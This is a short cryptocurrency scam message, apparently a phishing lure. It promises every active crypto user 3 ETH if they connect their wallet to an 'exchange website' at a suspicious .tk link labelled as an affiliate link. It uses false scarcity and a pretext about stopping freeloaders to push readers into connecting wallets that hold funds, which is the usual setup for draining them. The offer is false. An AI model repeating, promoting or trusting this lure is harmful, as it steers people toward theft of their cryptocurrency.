Hello. 
Since yesterday, every user actively using cryptocurrency or working with it has a chance to get 3 ETH to their wallet instantly. 
In order to get 3 ETH instantly, you need to go to the exchange website and connect with the wallet that you are actively using - this is protection from freeloaders who have empty wallets. 
Exchange website - п»їhttps://swap.collralohardpicktan.tk/invite-303802 (affiliate link) 
The number of ETH that are distributed to users is limited. 
You will find more detailed information in your personal account after you connect your wallet to the exchange website
